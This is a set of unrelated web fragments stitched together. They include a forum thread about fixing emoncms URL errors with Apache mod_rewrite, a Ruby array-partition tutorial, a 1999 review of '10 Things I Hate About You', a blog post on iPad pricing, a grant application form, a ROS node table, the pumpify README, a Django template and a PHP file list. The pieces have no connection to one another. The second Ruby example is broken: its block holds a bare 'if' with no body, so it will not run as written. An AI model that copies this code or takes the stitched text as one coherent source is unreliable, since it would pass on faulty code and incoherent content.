The requested URL /emoncms3/user/create was not found on this server.
Apache/2.2.22 (Ubuntu) Server at <IP_ADDRESS> Port 80 This is the error when I try and login.
Not Found
The requested URL /emoncms3/user/login was not found on this server.
Apache/2.2.22 (Ubuntu) Server at <IP_ADDRESS> Port 80
Re: /emoncms3/user/ directory is empty
Hello, yes the user directory should be empty its for user uploaded files. The URL path is independent from the directory structure every part of the site is accessed though index.php the front side controller. Its a common application technique. There is more on that here: http://openenergymonitor.org/emon/node/312
The error you are getting is because you need to enable mod_rewrite, see step 4 here: http://openenergymonitor.org/emon/emoncms/installing-ubuntu-debian-pi
Mod_rewrite is what tells the server to translate /emoncms3/user/create
into a paramater request to index.php of the form /emoncms3/index.php?q=user/create
Hope that helps
Re: /emoncms3/user/ directory is empty
Thank you, that made it work. I thought I had followed the instructions but I enabled write and missed editing the default file.
I'd had a look and done a search, but can't find the equivalent file on OSX. I'm use MAMP from AppSolute software. It is using apache. Any help would be appreciated.


Example 1:Calling parition on a range of numbers seperate the odd elements from the even.
(1..10).partition {|element| element.odd?} => [[1,3,5,7,9],[2,4,6,8,10]]
Example 2: Calling parition on an array of numbers to seperate the elements that are evenly divisble by 3.
array_of_numbers = [1,3,5,7,9,12]
array_of_numbers.partition{|element| if element % 3 == 0}
For further reference please see Ruby Docs


 Bianca Stratford is her seemingly more down-to-earth younger sister. Bianca has caught the attention of Cameron, a gawky newcomer who endeavors to court her the first time he sees her. Cameron's quest for Bianca has hit a snag: her father won't allow her to date. With some prodding by his daughter Bianca and her hopeful suitor, the patriarch of the Stratford family slyly agrees to a deal knows he'll never have to honor: Bianca can date when Kat dates. Fearless, Cameron takes on the challenge of making the apparently incorrigible Kat fall in love with someone.
Sound familiar? It should, because 10 Things I Hate About You, a comedy from director Gil Junger, is a thinly-veiled adaptation/homage to Shakespeare's The Taming of the Shrew. This version of the story takes place amongst hip teens at Padua High, a fictional public school in Seattle. Given the kitschy premise, it's surprising that 10 Things manages to be a funny, endearing movie on par with Clueless or even Fast Times at Ridgemont High.
The "shrew" in this retelling is played with infectious energy by newcomer Julia Stiles. As the angel-in-witch's-clothing Kat, Stiles gets to be both wicked and gentle, slowly revealing the lovelorn softie behind her character's rigid mask in fleeting, satisfying emotive bursts. The guy responsible for Kat's transformation is Patrick Verona (Heath Ledger), the long-haired loner who has reluctantly accepted money to date her. Ledger seems a virtual clone of Marky Mark Wahlberg, with a soft-voiced Aussie accent substituted for Bostonian. Oddly enough, Stiles and Ledger have a charming on-screen chemistry, even when she's throwing up on his shoes.
Joseph Gordon-Levitt ("3rd Rock From the Sun") is pitiful -- in a good way -- as Cameron, the transfer student whose simple plan to date the lovely Bianca (Larisa Oleynik) backfires messily.
The thematic elements of The Taming of the Shrew -- the social conditioning of women, family politics, the gender battle of wills -- have been nicely updated for a modern audience. This contrasts starkly with 1996's William Shakespeare's Romeo & Juliet, whose too-strict adherence to the text practicially negated the story's relevance to the film's ultra-modern setting. Junger and writers Karen McCullah Lutz and Kirsten Smith have made their characters and story engaging enough that the original Elizabethan-era inspiration seems more of a noteworthy suggestion than a direct influence.
Here is that once-in-a-blue-moon instance of a film whose fresh cast is able to carry the film in spite of a totally predictable plotline. Had a more recognizable, older crop of actors (read: Jennifer Love Hewitt, James Van Der Beek, or anybody on the WB Network) been chosen to fill the lead roles, this film's tried-and-true teen-movie cliches and stock characters would probably be harder to stomach.
The actors not only look like real teens -- they talk and act like them as well. Though there are winking dialogue references to the original source material sprinkled throughout, the script for the most part shuns the "Dawson's Creek"-inspired trend of having young characters talk like post-collegiate philosophers. Let's hope that Hollywood gets the drift that teens need not be portrayed by actors who cop adult attitudes and radiate squeaky-clean winsomeness to be appealing.
GRADE: B+
Reviewed March 24, 1999 at Owings Mills General Cinema, Owings Mills, MD.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: post status: publish published: true title: Does the iPad cost too much? author: Arthur Rosa author_login: arthurlockman author_email<EMAIL_ADDRESS>author_url: https://b.rthr.me wordpress_id: 155 wordpress_url: http://b.rthr.me/?p=155 date: '2010-01-30 17:08:06 -0500' date_gmt: '2010-01-30 17:08:06 -0500' ---
So, despite the Flash debate over the iPad, there's been other questions floating around. One of these is "Is the iPad worth what I will be paying for it?" Well, according to this little chart, if you need to do anything other than eBook reading, the iPad has the most "bang for your buck".


Application details are marked as complete
Competition name
Application name
When do you wish to start your project?
Not specified
Duration in months
months
Innovation area
Is this application a resubmission?
Previous application number
Previous application title
view contributors and collaborators
view the draft contract
(opens in new window).
view the award terms and conditions


| GazeboRetrieve | |
| DataBuffer | Size of OgMap in pixels |
| ImageDataBuffer | And now we have our container |
| HectorMapTools | |
| CoordinateTransformer | |
| DistanceMeasurementProvider | |
| MapAsImageProvider | This node provides occupancy grid maps as images via image_transport, so the transmission consumes less bandwidth. The provided code is a incomplete proof of concept |
| TBK_Node |


Combine an array of streams into a single duplex stream using pump and duplexify. If one of the streams closes/errors all streams in the pipeline will be destroyed.
npm install pumpify
Pass the streams you want to pipe together to pumpify pipeline = pumpify(s1, s2, s3, ...)
.
pipeline
is a duplex stream that writes to the first streams and reads from the last one.
Streams are piped together using pump so if one of them closes
all streams will be destroyed.
var pumpify = require('pumpify')
var tar = require('tar-fs')
var zlib = require('zlib')
var fs = require('fs')
var untar = pumpify(zlib.createGunzip(), tar.extract('output-folder'))
// you can also pass an array instead
// var untar = pumpify([zlib.createGunzip(), tar.extract('output-folder')])
fs.createReadStream('some-gzipped-tarball.tgz').pipe(untar)
If you are pumping object streams together use pipeline = pumpify.obj(s1, s2, ...)
.
Call pipeline.destroy()
to destroy the pipeline (including the streams passed to pumpify).
setPipeline(s1, s2, ...)
Similar to duplexify you can also define the pipeline asynchronously using setPipeline(s1, s2, ...)
var untar = pumpify()
setTimeout(function() {
// will start draining the input now
untar.setPipeline(zlib.createGunzip(), tar.extract('output-folder'))
}, 1000)
fs.createReadStream('some-gzipped-tarball.tgz').pipe(untar)
MIT
pumpify
is part of the mississippi stream utility collection which includes more useful stream modules similar to this one.


{# templates/admin_tools/statistics_summary.html #} {% extends "template_base.html" %} {% block title %}Quick Statistics{% endblock %} {% block content %} < Back to Admin Home
We need to track the number of calls to the Google Civic API because there are limits to the number of calls we can make per day. This also gives us a glimpse into new network activity.
| Date | # of Calls |
| {{ google_civic_daily_summary.date_string }} | {{ google_civic_daily_summary.count }} |
We track the number of calls to the Vote Smart API so we don't overwhelm their servers.
| Date | # of Calls |
| {{ vote_smart_daily_summary.date_string }} | {{ vote_smart_daily_summary.count }} |


Files
A
- AccountStatusException.php
- Address.php
- AddressService.php
- AddressValidateResult.php
- Arr.php
- Assert.php
B
C
E
G
I
J
L
P
R
S
- SecurityException.php
- ShipEngine.php
- ShipEngineClient.php
- ShipEngineConfig.php
- ShipEngineEvent.php
- ShipEngineEventListener.php
- ShipEngineException.php
- ShipEngineLogger.php
- ShipEngineSerializer.php
- Shipment.php
- SystemException.php
T
- TrackPackageResult.php
- TrackPackageService.php
- TrackingEvent.php
- TrackingQuery.php
- TrackingStatus.php